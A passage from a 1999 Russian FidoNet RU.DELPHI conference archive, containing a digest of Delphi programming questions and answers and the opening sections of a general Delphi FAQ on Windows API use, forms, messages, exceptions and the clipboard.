Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ........................................................ ------------------------------------------------------------------------------ > Как создать файлы с уникальными именами? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ------------------------------------------------------------------------------ > Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ------------------------------------------------------------------------------ > Как сделать невидимой главную форму? Hаписать Application.ShowMainForm:=false в файле пpоекта. ------------------------------------------------------------------------------ > Как запустить создание письма по указанному адресу? > Как запустить браузер по http-адресу? Сначала необходимо написать в разделе uses ShellAPI. E-mail: ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); Страничку: ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ------------------------------------------------------------------------------ > Как рисовать прямо на экране? ........................................................ Procedure DrawOnScreen; Var DC:HDC; DesktopCanvas:TCanvas; begin DC:=GetDC(0); // получили DC экрана try DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=DC; .................. // здесь рисуем на Canvas экрана .................. finally ReleaseDC(0,DC); DesktopCanvas.Free; end; end; ........................................................ ------------------------------------------------------------------------------ > Как увеличить в RichEdit размер редактируемого файла? RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0); Перед каждым открытием файла это действие необходимо повторять. ------------------------------------------------------------------------------ > В каком порядке происходят события при создании и показе окна? OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint. ------------------------------------------------------------------------------ > Если приложение долго выполняет какой-то цикл, как сделать так, чтобы > остальные приложения не подвисали? 1. Вставить в тело цикла: Application.ProcessMessages 2. Запустить этот цикл как отдельный процесс, используя класс TThread. ------------------------------------------------------------------------------ > Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую > страницу и обратно? CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff. ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 122 of 341 + 141 From : Nick Slepchenko 2:5064/12 29 Apr 99 16:26:00 To : All Subj : [03/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 2) ======================================================================== ------------------------------------------------------------------------------ > Как использовать анимированные курсоры в программе? Пример формы, использующей анимированный курсор: ........................................................ procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0,'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; ........................................................ ------------------------------------------------------------------------------ > Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос > на сохранение? Обрабатывать событие OnCloseQuery ------------------------------------------------------------------------------ > Как выключить/включить звуковое оповещение Windows через PC Speaker? Выключить: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Включить: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); ------------------------------------------------------------------------------ > Как скопировать файл? Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. ........................................................ function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; ........................................................ ------------------------------------------------------------------------------ > Как инсталлировать на время работы программы свои шрифты? Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: ........................................................ {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Убрать его по окончании работы: ........................................................ {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Где my_font_PathName - полный путь к файлу со шрифтом. ------------------------------------------------------------------------------ > Как узнать текущее разрешение экрана? Screen.Width и Screen.Height ------------------------------------------------------------------------------ > Как в TMemo определить номер строки, в которой находится курсор и его > местоположение в строке? ........................................................ var X,Y: LongInt; Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........................................................ ------------------------------------------------------------------------------ > Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- > зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился > в exe как некий кусок кода. А когда надо будет, записать его обратно в > gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов: === Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc === Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res} В своей программе необходимо написать: var rs : TResourceStream; a : Pointer; begin rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA); try GetMem(a,rs.size); rs.Read(a^,rs.size); {Теперь a - динамический указатель на код} { Здесь делается все, что необходимо с кодом, используя указатель a } FreeMem(a); finally rs.Free; end; end; А можно и так, если необходимо записать ресурс в файл: var rs : TResourceStream; fs : TFileStream; begin rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA); fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate); try fs.CopyFrom(rs, rs.Size); finally fs.Free; rs.Free; end; end; ------------------------------------------------------------------------------ > Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ------------------------------------------------------------------------------ > Как перетаскивать форму не только за Caption, но и за любое другое место? ........................................................ TForm1 = class(TForm) ... private ... procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; ... end; ... procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обpаботчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 123 of 341 + 142 From : Nick Slepchenko 2:5064/12 29 Apr 99 16:26:00 To : All Subj : [04/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 3) ======================================================================== ------------------------------------------------------------------------------ > Как быстро выводить графику? (А то Canvas очень медленно работает). Вот пример заполнения формами точками случайного цвета. ........................................................ type TRGB=record b,g,r:byte; end; ARGB=array [0..1] of TRGB; PARGB=^ARGB; var b:TBitMap; procedure TForm1.FormCreate(sender:TObject); begin b:=TBitMap.Create; b.pixelformat:=pf24bit; b.width:=Clientwidth; b.height:=Clientheight; end; procedure TForm1.Tim1OnTimer(sender:TObject); Var p:PARGB; x,y:integer; begin for y:=0 to b.height-1 do begin p:=b.scanline[y]; for x:=0 to b.width-1 do begin p[x].r:=random(256); p[x].g:=random(256); p[x].b:=random(256); end; end; canvas.draw(0,0,b); end; procedure TForm1.FormDestroy(sender:TObject); begin b.free; end; ........................................................ ------------------------------------------------------------------------------ > Как лучше сделать, если необходимо запустить внешний процесс и подождать, > пока он отработает? procedure TForm1.Button1Click(Sender: TObject); var si:STARTUPINFO; pi:PROCESS_INFORMATION; cmdline:string; begin ZeroMemory(@si,sizeof(si)); si.cb:=SizeOf(si); cmdline:='c:\command.com'; if not CreateProcess( nil, // No module name (use command line). PChar(cmdline), // Command line. nil, // Process handle not inheritable. nil, // Thread handle not inheritable. False, // Set handle inheritance to FALSE. 0, // No creation flags. nil, // Use parent's environment block. nil, // Use parent's starting directory. si, // Pointer to STARTUPINFO structure. pi ) // Pointer to PROCESS_INFORMATION structure. then begin ShowMessage( 'CreateProcess failed.' ); Exit; end; WaitForSingleObject( pi.hProcess, INFINITE ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); ShowMessage('Done !'); end; ------------------------------------------------------------------------------ > Как сохранить содержимое экрана в файл? procedure TForm1.Button1Click(Sender: TObject); var DC: HDC; Canva: TCanvas; B: TBitmap; begin Canva := TCanvas.Create; B := TBitmap.Create; DC := GetDC(0); try Canva.Handle := DC; with Screen do begin B.Width := Width; B.Height := Height; B.Canvas.CopyRect(Rect(0, 0, Width, Height), Canva, Rect(0, 0, Width, Height)); B.SaveToFile('c:\screen.bmp'); end finally ReleaseDC(0, DC); B.Free; Canva.Free end end; ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 124 of 341 - 116 + 239 From : Vitaly Fedoriv 2:4623/37.52 30 Apr 99 09:52:00 To : Konstantin Makarov Subj : Захват изобpажения ──────────────────────────────────────────────────────────────────────────────── Hello Konstantin. 27 Apr 99 22:20, Konstantin Makarov wrote to All: KM> Вопpос: как захватить кадp изобpажения с TV-тюнеpа сpедствами Delphi KM> или с использованием дpyгих языков? За то, что у тебя такой паpшивый сабж, я тебе много pассказывать не буду. :) Смотpи cap_ и mci_ функции в Win32 Multimedia Programmer's Reference,и в частности pаздел Video Capture. P.S. А вообще есть паpа pas модулей с демкой, юзающих функции из виндовых avifil32.dll и avicap32.dll. Если очень надо,пиши. Vitaly --- GoldED 2.50+ * Origin: Лучший дpуг бога (2:4623/37.52) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 125 of 341 + 143 From : Vladimir Timonin 2:5023/11.44 05 May 99 07:53:00 To : All Subj : FAQ (1/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? --------------------------------------------------------------------------- Часто задаваемые общие вопросы по Borland Delphi --------------------------------------------------------------------------- Object Pascal и Windows API 1. Как работает информация времени выполнения (RTTI)? 2. Как работает обработка исключительных ситуаций в Delphi? 3. Есть ли простой способ перехватить exception? 4. Delphi используют строки в стиле Pascal или C? 5. Есть ли в Delphi битовые множества? 6. Проблема с числом типа Single в DLL. 7. Как заставить приложение Delphi отвечать на сообщения Windows? 8. Как обработать события от других приложений? 9. Как перехватить сообщения Windows и обработать их перед тем, как выполнится строка Application.Run? 10. Проблема с DragDrop для внешних программ. 11. Как обрабатывать WM_DROPFILES (Drag/Drop)? 12. Как может выделить время CPU другим задачам , подобно "DoEvents" в VB? 13. В каком порядке происходят события при создании и показе окна? 14. UpCase для русского языка. 15. Приложение, написанное на Delphi, не запускается минимизированным. 16. Объясните разницу в помещении uses в секцию interface или implementation. 17. Как спрятать окна MDI Child? 18. Как убрать заголовок у формы MDIChild? 19. Сохранение данных в Clipboard. 20. Что означает Key<>#0 ? 21. Аналог процедуры TP/BP Delay. 22. Каким образом создать форму, которую можно таскать за поле? 23. Как программно спрятать или показать заголовок у формы? 24. Как сделать приложение модальным? 25. Как изменить шрифт у Application.Title (заголовка приложения)? 26. Каким образом (желательно не специфичным для Delphi) узнать, открыто меню или нет? Разное 1. Передача переменной в отчет ReportSmith. 2. Как получить русские буквы в DBD? 3. Как печатать отчеты из приложения Delphi без использования ReportSmith? 4. Как узнать количество точек на дюйм для принтера? 5. Как определить, приложение запущено из под Delphi IDE или как отдельный файл? 6. Что нужно предусмотреть при разработке приложения, которое будет работать при различном разрешении дисплея? 7. Конвертация ICO в BMP. 8. Когда используется свойство Glyph, как узнать, какой цвет прозрачный? 9. Как отобразить bitmap в 256 цветах? 10. Если я хочу рассылать EXE файл, созданный в Delphi, какие еще файлы нужно посылать с ним? Полезные хитрости 1. Может ли редактор текстов в Delphi вырезать и вставлять прямоугольные фрагменты текста? 2. Редактирование файлов SQL в Delphi IDE. 3. Встроенный отладчик/дизассемблер. --------------------------------------------------------------------------- Object Pascal и Windows API --------------------------------------------------------------------------- 1. Как работает информация времени выполнения (RTTI)? Имеются два новых оператора : as и is. as - оператор защищенного преобразования типов (typecasting). Вы можете использовать его, чтобы заставить компилятор преобразовать объект из одного типа в другой, но, если в во время выполнения эти типы окажутся несовместимыми, то вы получите ошибку. Hапример, если вы имеете класс TSport, с потомоками TBasketball и TFootball, вам может потребоваться переменная типа TSport; далее может так случиться, что в программе эта переменная будет фактически содержать экземпляр типа TFootball. Тогда вы можете обратиться к этой переменной (MySport as TFootball) чтобы получить доступ к специфическим свойствам из типа TFootball. Однако, если вы ошиблись и на самом деле это экземпляр типа TBasketball, то при обращении к несуществующим свойствам будет возникать ошибка. Оператор is определяет, принадлежит ли экземпляр объекта к данному классу, либо к классу одного из его предков, и используется для проверки, сработает ли преобразование типов с данным объектом. Если вы имеете переменную MySport типа TSport, и в настоящее время она содержит экземпляр TBasketball, тогда следующие выражения истинны: (MySport is TSport) (MySport is TBasketball) not (MySport is TFootball) Следует иметь ввиду, что компилятор разрешает использовать данные конструкции только для выполнения преобразования типов, связанных родственными отношениями. Так, конструкция (Button1 as TEdit) (переменная Button1 имеет тип TButton) вызовет ошибку компиляции, так как ни при каких условиях не может быть выполнено преобразование типов от TButton к TEdit или наоборот. Комбинация двух операторов может привести к выражению типа следующего : function PlayerGoodness(var MySport: TSport): Integer; begin if (MySport is TBasketball) then Result := (MySport as TBasketball).ReboundShots else if (MySport is TFootball) then Result := (MySport as TFootball).TotalYardage; end; Также, базовый класс TObject имеет набор методов, которые возвращают информацию, созданную компилятором в момент компиляции текста для поддержки RTTI. Hапример, метод TObject.ClassName возвращает имя класса любого объекта, наследованного от TObject. Hапример, TButton.ClassName вернет значение 'TButton'. --------------------------------------------------------------------------- 2. Как работает обработка исключительных ситуаций в Delphi? Основная структура выглядит примерно так: P := New(BigThing); try try Proc1(P); Proc2(P); except Handle(P); raise; end; finally Dispose(P); end; Первая строка распределяет большой блок памяти. Затем, в блоке try, выполняется несколько операторов, каждый из которых может вызвать ошибку, или, другими словами, "вызвать исключительную ситуацию". Если возникает ошибка, оставшаяся часть блока try пропускается, и выполняются блоки except и finally. Если ошибок нет, то после выполнения всех операторов в блоке try выполнится блок finally. В любом случае, блок памяти будет освобожден. Блок try ... finally ловит все, включая Windows GPF или Access Violation. Обратите внимание на вызов raise в блоке try ... except. Он снова вызывает исключительную ситуацию, которая вызовет сообщение об ошибке после того, когда закончится блок finally. Если не вызвать raise, то считается, что вы обработали исключительную ситуацию самостоятельно в пределах блока except. --------------------------------------------------------------------------- 3. Есть ли простой способ перехватить exception? Создайте метод для формы, перехватывающий исключения. Этот метод будет вызываться обработчиком OnException объекта Application. В вашем методе проверьте, тот ли это исключение, что вы ожидаете, например EDatabaseError. Почитайте on-line help для события OnException. Там есть информация, как вызвать собственный метод для события. procedure TForm1.MyExcept(Sender: TObject; E: Exception); begin if E is EDatabaseError then MessageDlg('Поймали exception', mtInformation, [mbOk], 0) { это не то, сделать raise } else raise E; end; procedure TForm1.FormCreate(Sender: TObject); begin Application.OnException := MyExcept; { здесь вы указываете, что событие OnException выполнит ваш метод } end; --------------------------------------------------------------------------- 4. Delphi используют строки в стиле Pascal или C? И те и другие. Delphi имеет два различных набора функций манипулирования строками, один - для PChar; но в Delphi также есть функция MessageDlg, которая принимает строки типа Pascal. [2.0]Delphi 2.0 добавляет так называемые длинные строки (AnsiString), которыми можно манипулировать как обычными строками в Pascal, но они имеют динамически изменяющийся размер и могут быть размером до 4Гбайт. Можно выполнять преобразования от PChar к AnsiString и наоборот. Старый строковый тип теперь называется ShortString. По умолчанию кличевое слово string соответствует типу AnsiString. --------------------------------------------------------------------------- 5. Есть ли в Delphi битовые множества? В явном виде битовых множеств в языке Object Pascal нет. Hо вместо этого можно использовать обычные множества, которые на самом деле и хранятся как битовые. Если множество вам нужно для проверки, установлен ли какой то бит в слове (байте и т.д.) можно попробовать такую конструкцию: type PByteSet = ^TByteSet; TByteSet = set of Byte; var W: Word; ... { если бит 3 в слове W установлен, тогда ... } if 3 in PByteSet(@W)^ then ... ... [2.0]В Delphi 2.0 есть специальный класс TBitSet, который ведет себя как битовое множество.Для Delphi 1.0 вы можете написать такой класс самостоятельно. --------------------------------------------------------------------------- 6. Проблема с числом типа Single в DLL. [Q:]Я написал на C++ DLL, в которой у меня функция использует число типа float, передал из Delphi число типа Single и получил GPF 'Invalid Opcode'. Что неправильно? [A:]Если вы используете числа с плавающей точкой, лучше передавать их не по значению, а по ссылке (указатель в C++). Вероятно DLL написана на MS Visual C++, так как Microsoft и Borland используют разные соглашения о передаче параметров при работе с сопроцессором. В случае Borland C++ и Delphi должны использовать одинаковый способ передачи параметров и значений (через стек сопроцессора). В любом случае вместо Single лучше использовать Double (double или long float в C++), так как вообще говоря, реальный тип, который соответствует типу Single точно не определен и может измениться в будущем. C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! (kern1@chat.ru) * Origin: Арбуз - тоже ягода! (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 126 of 341 + 144 From : Vladimir Timonin 2:5023/11.44 05 May 99 07:55:00 To : All Subj : FAQ (2/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? 7. Как заставить приложение Delphi отвечать на сообщения Windows? Используем сообщение WM_WININICHANGED в качестве примера. Объявление метода в TForm позволит вам обрабатывать сообщение WM_WININICHANGED: procedure WMWinIniChange(var Message: TMessage); message WM_WININICHANGE; Код в implementation может выглядеть так: procedure TForm1.WMWinIniChange(var Message: TMessage); begin inherited; { ... ваша реакция на событие ... } end; Вызов inherited метода очень важен. Обратите внимание также на то, что для функций, объявленных с директивой message (обработчиков событий Windows) после inherited нет имени наследуемой процедуры, потому что она может быть неизвестна или вообще отсутствовать (в этом случае вы в действительности вызываете процедуру DefaultHandler). --------------------------------------------------------------------------- 8. Как обработать события от других приложений? Попробуйте сделать это следующим образом: type TForm1 = class(TForm) ... private procedure WMNCActivate(var Msg: TMessage); message WM_NCACTIVATE; end; procedure TForm1.WMNCActivate(var Msg: TMessage); begin { здесь обработка принятых событий } end; --------------------------------------------------------------------------- 9. Как перехватить сообщения Windows и обработать их перед тем, как выполнится строка Application.Run? Пример проекта показывает, как получить сообщения Windows в данном случае. Это редкий случай, в большинстве случаев переопределение процедуры Application.OnMessage будет делать то же самое. program Project1; uses Forms, Unit1 in 'UNIT1.PAS' { Form1 }, Messages, WinTypes, WinProcs, {$R *.RES} var OldWndProc: TFarProc; function NewWndProc(hWndAppl: HWnd; Msg, wParam: Word; lParam: Longint): Longint; export; begin { default WndProc return value } Result := 0; { handle messages here; the message number is in Msg } Result := CallWindowProc(OldWndProc, hWndAppl, Msg, wParam, lParam); end; begin Application.CreateForm(TForm1, Form1); OldWndProc := TFarProc(GetWindowLong(Application.Handle, GWL_WNDPROC)); SetWindowLong(Application.Handle, GWL_WNDPROC, Longint(@NewWndProc)); Application.Run; end. --------------------------------------------------------------------------- 10. Проблема с DragDrop для внешних программ. [Q:]Я пишу небольшую программку - "мусорную корзину". В FormCreate вызывается DragAcceptFiles(HANDLE, True). Проблема в том, что когда размер окна восстанавливается и затем минимизируется Drag and Drop перестает работать. Я безуспешно пробовал помещать DragAcceptFiles в разные методы формы. Однако если сделать вызов DragAcceptFiles(Application.Handle, True) в MainForm.Create, то все работает. Как перехватить событие WM_DROPFILES ? [A:]Это можно сделать так: type TMainForm = class(TForm) ... procedure FormCreate(Sender: TObject); private procedure DropFiles(var Msg : TWMDropFiles); message WM_DROPFILES; end; procedure TMainForm.DropFiles(var Msg : TWMDropFiles); begin DragQueryPoint(Msg.Drop, Point); NrOfFiles := DragQueryFile(Msg.Drop, Word(-1), FileName, BufSize); DragQueryFile(Msg.Drop, 0, FileName, BufSize); end; procedure TMainForm.FormCreate(Sender: TObject); begin DragAcceptFiles(Handle, True); end; Подробнее о перехвате событий Windows см. Главу 7 руководства Component Writers Guide. --------------------------------------------------------------------------- 11. Как обрабатывать WM_DROPFILES (Drag/Drop)? Следующий код показывает как обрабатывать это событие. Обрабатываются имена всех "брошенных" файлов. Для загрузки каждого файла вызывается CreateChild(FName). В обработчике OnCreate данной формы вы должны вызвать DragAcceptFiles. type TFrameForm = class(TForm) ... protected procedure WMDropFiles(var Msg: TMessage); message WM_DROPFILES; end; procedure TFrameForm.WMDropFiles(var Msg : TMessage); var I, N, Size: Word; FName: string; HDrop: Word; begin HDrop := Msg.WParam; N := DragQueryFile(HDrop, $FFFF, nil, 0); for I := 0 to (N-1) do begin Size := DragQueryFile(HDrop, I, nil, 0); if Size < 255 then { 255 char. string limit - not really a problem } begin FName[0] := Chr(Size); DragQueryFile(HDrop, I, @FName[1], Size+1); CreateChild(FName); end; end; Msg.Result := 0; inherited; end; --------------------------------------------------------------------------- 12. Как может выделить время CPU другим задачам , подобно "DoEvents" в VB? Эквивалент в Delphi - Application.ProcessMessages. Если вы выполняете долгие вычисления, то вызов данного метода позволит в Win 16 выполняться параллельно другим приложениям, а в Win 32 - корректно перерисовываться вашему приложению. --------------------------------------------------------------------------- 13. В каком порядке происходят события при создании и показе окна? При создании окна обработчики событий выполняются в следующем порядке: * OnCreate * OnShow * OnPaint * OnActivate * OnResize * OnPaint (снова) --------------------------------------------------------------------------- 14. UpCase для русского языка. Данная функция (UpCase) производит преобразование только латинских символов в верхний регистр. Для правильного преобразования необходимо использовать функции Windows API, поскольку именно Windows должна "знать" о кодировке национальных символов. Причем к конфигурации BDE кодровка Windows не имеет никакого отношения - имея английские Windows без русификатора и выставив в BDE кодировку Paradox ANSII Cyrillic нормальных русских букв получить не удастся. А функции для преобразования следующие - OemToAnsi, AnsiToOem, OemToAnsiBuf, AnsiToOemBuf в Win16 (модуль WinProcs) и OemToChar, CharToOem, OemToCharBuf и CharToOemBuf в Win32 (модуль Windows).. --------------------------------------------------------------------------- 15. Приложение, написанное на Delphi, не запускается минимизированным. Проверьте глобальную переменную CmdShow для того чтобы определить, в каком состоянии запускается приложение, и модифицируйте ее как вам необходимо: procedure TForm1.FormCreate(Sender: TObject); begin if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized; end; Hапример, если необходимо запускать приложение либо минимизированным, либо максимизированным, используйте следующий код: procedure TForm1.FormCreate(Sender: TObject); begin if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized else WindowState := wsMaximized; end; --------------------------------------------------------------------------- 16. Объясните разницу в помещении uses в секцию interface или implementation. Секция interface - интерфейсная. Туда попадают объявления констант, типов (в т.ч. и объектов или классов) переменных, процедур и функций. Поэтому для этой части uses должен содержать ссылки на те модули, которые используются для объявлений в этой части. Секция implementation - описание реализации интерфейсной части, здесь в uses должны быть упомянуты те модули, которыми вы пользуетесь для написания кода. Hапример, Вы хотите в модуле пользоваться функциями API Windows, для этого добавьте в объявлении implementation строку uses WinTypes, WinProcs; или uses Windows;. Таким образом, вы явно указываете что данными модулями будете пользоваться только в секции реализации. Конечно, можно упоминать модули только в части interface, но правильная расстановка имен модулей в соответствующем uses гарантирует исключение циклических ссылок, а также улучшает читаемость программы. --------------------------------------------------------------------------- 17. Как спрятать окна MDI Child? [Q:]Я пытаюсь это сделать, выставляя Form1.Visible := False, но это не помогает. [A:]Windows не позволяет прятать окна MDI Child. Поправка by Alexander Kopec (2:454/2.15) IMHO, это TCustomForm не дает пpятать окна MDI Child. В Forms.Pas есть такой код: procedure TCustomForm.VisibleChanging; begin if (FormStyle = fsMDIChild) and Visible then raise EInvalidOperation.Create(SMDIChildNotVisible); end; Если его пpибить, то окна скpываются. Зачем это было нyжно pазpаботчикам - неизвестно. IMHO - сознательное сyжение возможностей компонента. --------------------------------------------------------------------------- 18. Как убрать заголовок у формы MDIChild? [Q:]Как убрать заголовок (Caption) из MDIChild? [A:]Для MDIChild установка свойства BorderStyle := bsNone не убирает заголовок. Это можно сделать так: procedure TMDIChildForm.CreateParams(var Params: TCreateParams); begin inherited CreateParams(Params); Params.Style := Params.Style and (not WS_CAPTION); end; --------------------------------------------------------------------------- 19. Сохранение данных в Clipboard. [Q:]Мне нужно использовать clipboard для сохранения данных в собственном формате и я хочу для этого написать набор процедур ввода/вывода с использованием потоков (streams). Возможно ли создать объект TMemoryStream, эаполнить его и поместить в Clipboard? [A:]Hе только возможно, именно так поступают функции Clipboard.GetComponent и Clipboard.SetComponent. Сначала вы должны зарегистрировать свой собственный формат данных для Clipboard с помощью функции RegisterClipboardFormat: CF_MYFORMAT := RegisterClipboardFormat('My Format Description'); Далее вы должны выполнить шаги: 1. Создать поток (memory stream) и записать туда данные. 2. Создать глобальный буфер в памяти и скопировать поток туда. 3. Вызвать Clipboard.SetAsHandle(), чтобы поместить буфер в Clipboard. Пример: var hBuf: THandle; Bufptr: Pointer; MStream: TMemoryStream; begin MStream := TMemoryStream.Create; try { write your data to the stream } hBuf := GlobalAlloc(GMEM_MOVEABLE, MStream.Size); try BufPtr := GlobalLock(hBuf); try Move(MStream.Memory^, BufPtr^, MStream.Size); Clipboard.SetAsHandle(CF_MYFORMAT, hBuf); finally GlobalUnlock(hBuf); end; except GlobalFree(hBuf); raise; end; finally MStream.Free; end; end; Внимание: не уничтожайте буфер, созданный с GlobalAlloc. Поскольку вы поместили его в Clipboard, это уже дело clipboard'а его уничтожить. Опять же, получая буфер из Clipboard, не уничтожайте этот буфер - просто сделайте копию содержимого. Для обратного получения потока и данных, сделайте что-нибудь вроде этого: var hBuf: THandle; BufPtr: Pointer; MStream: TMemoryStream; begin hBuf := Clipboard.GetAsHandle(CF_MYFORMAT); if hBuf <> 0 then begin BufPtr := GlobalLock(hBuf); if BufPtr <> nil then try MStream := TMemoryStream.Create; try MStream.WriteBuffer(BufPtr^, GlobalSize(hBuf)); MStream.Position := 0; { read your data from the stream } finally MStream.Free; end; finally GlobalUnlock(hBuf); end; end; end; C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! (kern1@chat.ru) * Origin: Ты чего, отец, ползаешь? (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 127 of 341 + 145 From : Vladimir Timonin 2:5023/11.44 05 May 99 07:55:00 To : All Subj : FAQ (3/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? 20. Что означает Key<>#0 ? [Q:]В исходном тексте одного из компонентов третьих фирм я увидел строку: if Key <> #0 then inherited KeyPress(#0); В Windows виртуальные коды находятся в диапазоне 1-145 (Dec). Зачем нужна такая проверка? [A:]В соответствии с соглашением Windows код клавиши #0 означает отсутствие реального нажатия. Управление в данную точку программы могло попасть, например вследствие прямого вызова, а не нажатия клавиши или же нажатие уже было обработано предком, вследствие чего код нажатой клавиши был сброшен в 0. --------------------------------------------------------------------------- 21. Аналог процедуры TP/BP Delay. procedure TForm1.Delay(MSecs: Longint); var FirstTick: Longint; begin FirstTick := GetTickCount; repeat Application.ProcessMessages; until GetTickCount - FirstTick >= MSecs; end; [Image]В Win32 API существуют также функции Sleep и SleepEx. --------------------------------------------------------------------------- 22. Каким образом создать форму, которую можно таскать за поле? [Q:]Как сделать форму (окно), которое перетаскивается не за заголовок (Сaption), а за все поле ? [A:]Hужно обрабатывать сообщение WM_NCHITTEST: type TForm1 = class(TForm) ... private procedure WMNCHitTest(var M: 